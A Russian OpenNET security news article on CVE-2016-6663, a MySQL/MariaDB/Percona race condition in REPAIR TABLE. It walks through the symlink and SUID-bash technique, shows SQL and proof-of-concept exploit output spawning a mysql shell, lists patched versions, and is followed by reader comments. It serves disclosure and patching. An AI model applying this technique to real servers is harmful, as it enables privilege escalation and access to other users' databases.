The OpenNET Project / Index page

[ новости/++ | форум | wiki | теги ]

02.11.2016 09:11  Уязвимость в MySQL, позволяющая поднять свои привилегии

Давид Голански (Dawid Golunski) продолжил публикацию исследований безопасности MySQL. В сентябре им были опубликованы сведения об уязвимости в сервере MySQL, позволяющей повысить свои привилегии до пользователя root. Техника атаки была ограничена пользователями с правами FILE, но было сказано, что имеется метод обхода данного ограничения и атака может быть совершена любым непривилегированным пользователем СУБД. Спустя месяц Давид раскрыл информацию о новой уязвимости (CVE-2016-6663), позволяющей обойти систему ограничения привилегий MySQL.

Уязвимость затрагивает MySQL и производные продукты, такие как MariaDB и Percona Server, и позволяет локальному пользователю, имеющему доступ к СУБД с типовыми правами на выполнение операций CREATE, INSERT и SELECT, получить полномочия администратора СУБД (обычно пользователь mysql) и возможность записи и чтения любых файлов MySQL, в том числе конфигурационных файлов и БД других пользователей. В сочетании с ранее обнародованной уязвимостью CVE-2016-6662, новая проблема упрощает проведение атаки по получению прав root на сервере с MySQL.

Уязвимость основана на использовании состояния гонки при работе с таблицами, размещёнными в подконтрольных пользователю директориях. Пользователь с правами "CREATE table" может через параметр "DATA DIRECTORY" задать путь к каталогу, где будет сохранена создаваемая таблица. В том числе таблицу можно разместить в директории, которая принадлежит пользователю, но файлы MySQL в данной директории будут размещены под пользователем mysql:


   attacker@debian:~$ ls -ld /tmp/disktable/
   drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/

   mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';

   attacker@debian:~$ ls -l /tmp/disktable/
   -rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD

При выполнении команды "REPAIR TABLE", MySQL создаёт в той же директории временный файл, сохраняет параметры исходного файла таблицы, копирует данные и после завершения работы с временным файлом выполняет операции восстановления прав доступа и переименовывает временный файл в основной файл таблицы. Так как владельцем директории является атакующий и он имеет возможность манипулировать файлами, суть атаки сводится к подмене временного файла в промежуток после проверки параметров файла, но до выполнения chmod(). В итоге атакующий может подставить вместо временного файла символическую ссылку, указывающую на директорию /var/lib/mysql. На завершающей стадии работы "REPAIR TABLE" к ссылке на /var/lib/mysql будет применена операция chmod() с параметрами исходного файла таблицы пользователя, т.е. атакующий получит возможность установить произвольные права доступа на директорию /var/lib/mysql, изменив права на исходный файл со своей таблицей, например, установив на файл с таблицей права 777.

Через манипуляцию с битом SUID и его переносом на исполняемый файл, можно добиться выполнения произвольного кода в системе с правами mysql. Для этого на директорию пользователя следует выставить "sticky bit" и установить права drwxrwsrwx, после чего создание таблицы в данной директории приведёт к образованию файла с правами -rw-rw----, владельцем mysql и группой как у атакующего. Доступ членов группы на запись даёт возможность заменить содержимое файла таблицы на /bin/bash, после чего можно использовать вышеописанное состояние гонки для переноса на файл таблицы suid-бита и прав на запуск. В итоге получим исполняемый файл с копией bash и suid-битом для запуска с правами mysql.



   attacker@xenial:~/mysql-exploit$ ./mysql-privesc-race attacker pocsql localhost pocdb

   [+] Starting the exploit as: 
   uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

   [+] Connecting to the database `pocdb` as attacker@localhost

   [+] Creating exploit temp directory /tmp/mysql_privesc_exploit

   [+] Creating mysql tables 

   DROP TABLE IF EXISTS exploit_table 
   DROP TABLE IF EXISTS mysql_suid_shell 
   CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 
   CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 

   [+] Copying bash into the mysql_suid_shell table. 
       After the exploitation the following file/table will be assigned SUID and executable bits : 
   -rw-rw---- 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

   [+] Entering the race loop... Hang in there...


   [+] Bingo! Race won (took 5 tries) ! Check out the mysql SUID shell: 

   -rwsrwxrwx 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

   [+] Spawning the mysql SUID shell now... 
    Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)

   mysql_suid_shell.MYD-4.3$ whoami
   mysql

   mysql_suid_shell.MYD-4.3$ id
   uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)

   mysql_suid_shell.MYD-4.3$ ls -l /var/lib/mysql/mysql/user.*
   -rw-rw---- 1 mysql mysql 2879 Oct 29 14:23 /var/lib/mysql/mysql/user.frm
   -rw-rw---- 1 mysql mysql  168 Oct 29 22:35 /var/lib/mysql/mysql/user.MYD
   -rw-rw---- 1 mysql mysql 4096 Oct 30 00:11 /var/lib/mysql/mysql/user.MYI

Уязвимость устранена в выпусках MySQL 5.5.52, 5.6.33 и 5.7.15, а также в MariaDB 5.5.52, 10.1.18 и 10.0.28, в Percona Server 5.5.51-38.2, 5.6.32-78-1 и 5.7.14-8, в Percona XtraDB Cluster 5.6.32-25.17, 5.7.14-26.17 и 5.5.41-37.0. Так как производители были заведомо информированы о проблеме, обновления пакетов уже выпущены для Debian, RHEL, Ubuntu, FreeBSD, Ubuntu и SUSE.

  1. Главная ссылка к новости (http://seclists.org/fulldisclo...)
  2. OpenNews: Критическая root-уязвимость в MySQL
  3. OpenNews: Обновление Java SE, MySQL, VirtualBox и других продуктов Oracle с устранением уязвимостей
  4. OpenNews: В MySQL 8.0 отмечается закат хранилища MyISAM
Лицензия: CC-BY
Тип: Проблемы безопасности
Ключевые слова: mysql, mariadb
При перепечатке указание ссылки на opennet.ru обязательно
Обсуждение Линейный вид | Ajax | Показать все | RSS
 
  • 1.1, angra, 10:01, 02/11/2016 [ответить] [смотреть все]
  • +4 +/
    Уязвимость красивая. Но для понимания обязательно чтение оригинала, так как в новости переврали практически всё, что относится к механизму.

    Тем, кто предпочитает держать мускул на отдельном сервере/виртуалке/контейнере, беспокоится не о чем. Уязвимость требует шелла(юзера) на сервере с мускулом.

    P.S.  про кнопку "исправить" в курсе, но не "маю час та натхнення".

     
     
  • 2.8, angra, 12:32, 02/11/2016 [^] [ответить] [смотреть все] [показать ветку]
  • +1 +/
    Уже не актуально, новость исправили ... весь текст скрыт [показать] [показать ветку]
     
  • 1.2, Фкук, 10:33, 02/11/2016 [ответить] [смотреть все]  
  • –7 +/
    Т е на 101 171 виртуальных хостингов 187 ... весь текст скрыт [показать]
     
     
  • 2.4, pauc, 10:52, 02/11/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +4 +/
    На виртуальных хостингах, в 101 случаев, пользователь имеющий шелл - это владел... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.13, Crazy Alex, 14:08, 02/11/2016 [^] [ответить] [смотреть все]  
  • +/
    На виртуальном хостинге можно запустить скрипт Который обычно исполнялся действ... весь текст скрыт [показать]
     
  • 3.26, Фкук, 20:32, 02/11/2016 [^] [ответить] [смотреть все]  
  • +/
    Шелл при чём ISPManager справится с подстановкой файла Или phpfm И ... весь текст скрыт [показать]
     
  • 2.5, Pahanivo, 11:17, 02/11/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +1 +/
    Надо хоть маленько представлять о чем говоришь А то слишком фееричная ахинея ... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.7, Michael Shigorin, 11:58, 02/11/2016 [^] [ответить] [смотреть все]  
  • –7 +/
    Этот фкук здесь в основном набрасывает в пользу либо конкретно некрософта, либ... весь текст скрыт [показать]
     
     
  • 4.43, Алконим, 12:58, 03/11/2016 [^] [ответить] [смотреть все]  
  • +3 +/
    Скрепно ... весь текст скрыт [показать]
     
     
  • 5.45, Michael Shigorin, 15:17, 03/11/2016 [^] [ответить] [смотреть все]  
  • –2 +/
    Ну давайте свою почту -- перешлю из архива, проверите Или сами понаблюдайте А... весь текст скрыт [показать]
     
     ....нить скрыта, показать (7)

  • 1.3, gogo, 10:52, 02/11/2016 [ответить] [смотреть все]  
  • +/
    Ну да, уязвимость требует шела и не принадлежит к категории "кошмарных".
    Но кто за два месяца таки не успел обновить mysql - будут кусать себе локти. И поделом.
     
     
  • 2.9, angra, 12:34, 02/11/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • –1 +/
    С чего кусать локти тем, кто не обновлялся, но у кого мускул на отдельном сервер... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.12, Аноним, 13:45, 02/11/2016 [^] [ответить] [смотреть все]  
  • +2 +/
    История показывает, что многие крупные взломы были проведены с использованием це... весь текст скрыт [показать]
     
     
  • 4.14, angra, 14:32, 02/11/2016 [^] [ответить] [смотреть все]  
  • –1 +/
    Ну это, как получится собрать такой набор нефатальных дырок конкретно для мускул... весь текст скрыт [показать]
     
     
  • 5.19, Аноним, 16:07, 02/11/2016 [^] [ответить] [смотреть все]  
  • +/
    История нас учит тому что она нас ничему не учит В 2016 году такие заявления см... весь текст скрыт [показать]
     
     
  • 6.28, angra, 22:27, 02/11/2016 [^] [ответить] [смотреть все]  
  • –1 +/
    Еще раз для альтернативно одаренных Речь идет о конкретной уязвимости в конкрет... весь текст скрыт [показать]
     
     
  • 7.34, gogo, 00:37, 03/11/2016 [^] [ответить] [смотреть все]  
  • +/
    Ну и к чему твой треп Держать мускул на отдельной машине - это никак НЕ ПАНАЦЕЯ... весь текст скрыт [показать]
     
     
  • 8.36, angra, 01:34, 03/11/2016 [^] [ответить] [смотреть все]  
  • –1 +/
    А вот и участник крестового похода на логику В предыдущем посте для таких как т... весь текст скрыт [показать]
     
     ....нить скрыта, показать (7)

  • 1.6, Аноним, 11:51, 02/11/2016 [ответить] [смотреть все]  
  • –13 +/
    MySQL в 2016 Facepalm
     
     
  • 2.10, Georges, 12:38, 02/11/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • –1 +/
    MySQL Joomla и сайт с тремя страничками.
     
     
  • 3.11, Аноним, 13:40, 02/11/2016 [^] [ответить] [смотреть все]  
  • –5 +/
    который через 3 месяца будет продавать виагру и цп без ведома владельца Серьезн... весь текст скрыт [показать]
     
     
  • 4.15, angra, 14:36, 02/11/2016 [^] [ответить] [смотреть все]  
  • +1 +/
    А сейчас нам один некретин назовет СУБД с девственно чистой историей уязвимостей... весь текст скрыт [показать]
     
     
  • 5.17, lv7e, 15:46, 02/11/2016 [^] [ответить] [смотреть все]  
  • +/
    SQLite - у них модель разработки основанная на доказательстве корректности выпол... весь текст скрыт [показать]
     
     
  • 6.29, angra, 22:35, 02/11/2016 [^] [ответить] [смотреть все]  
  • +1 +/
    О какой безопасности там вообще может идти речь, если в sqlite просто нет выполн... весь текст скрыт [показать]
     
  • 5.18, Аноним, 16:00, 02/11/2016 [^] [ответить] [смотреть все]  
  • +/
    Именно девственно чистой Именно за 10 лет Почему не за 5 В теории спора эт... весь текст скрыт [показать]
     
     
  • 6.22, Anon43210, 17:14, 02/11/2016 [^] [ответить] [смотреть все]  
  • +/
    Хм Ну так огласите весь список, с уровнями дырявости для сравнения, с обоснов... весь текст скрыт [показать]
     
  • 6.30, angra, 22:45, 02/11/2016 [^] [ответить] [смотреть все]  
  • +/
    Правда Ну тогда воспользуйся своей идиотской логикой и начни с выкидывания linu... весь текст скрыт [показать]
     
     
  • 7.38, Аноним, 08:50, 03/11/2016 [^] [ответить] [смотреть все]  
  • –1 +/
    Успокойтесь, тише тише Я вообще не рекомендую пользоваться дырявым софтом Но... весь текст скрыт [показать]
     
  • 4.27, Led, 22:05, 02/11/2016 [^] [ответить] [смотреть все]  
  • +/
    Уже перестали Ты ж не пользуешся ты последний из них пользовалься ... весь текст скрыт [показать]
     
     
  • 5.40, Аноним, 09:06, 03/11/2016 [^] [ответить] [смотреть все]  
  • –2 +/
    Я, кстати, никогда не пользовался MySQL Я считаю, что если что то выглядит как ... весь текст скрыт [показать]
     
     
  • 6.41, Led, 10:52, 03/11/2016 [^] [ответить] [смотреть все]  
  • +1 +/
    И кто же тебя нюхает, малыш ... весь текст скрыт [показать]
     
  • 6.46, Тузя, 15:25, 03/11/2016 [^] [ответить] [смотреть все]  
  • +1 +/
    Да он уныл и печален, однако у него есть хитрые юзкейсы, где он опережает в прои... весь текст скрыт [показать]
     
     
  • 7.47, Michael Shigorin, 16:06, 03/11/2016 [^] [ответить] [смотреть все]  
  • –1 +/
    Кстати, на нашу осеннюю конференцию не добрались коллеги из Postgres Pro, но при... весь текст скрыт [показать]
     
  • 1.24, ALex_hha, 19:54, 02/11/2016 [ответить] [смотреть все]  
  • +/
    > MySQL в 2016 Facepalm

    а вас не смущает, что "Уязвимость затрагивает MySQL и производные продукты, такие как MariaDB и Percona Server" ? Или вы сейчас нам скажите, что sqlite/nosql наше все? :D

     

     Добавить комментарий
    Имя:
    E-Mail:
    Заголовок:
    Текст:


      Закладки на сайте
      Проследить за страницей
    Created 1996-2017 by Maxim Chirkov  
    ДобавитьРекламаВебмастеруГИД  
    Hosting by Ihor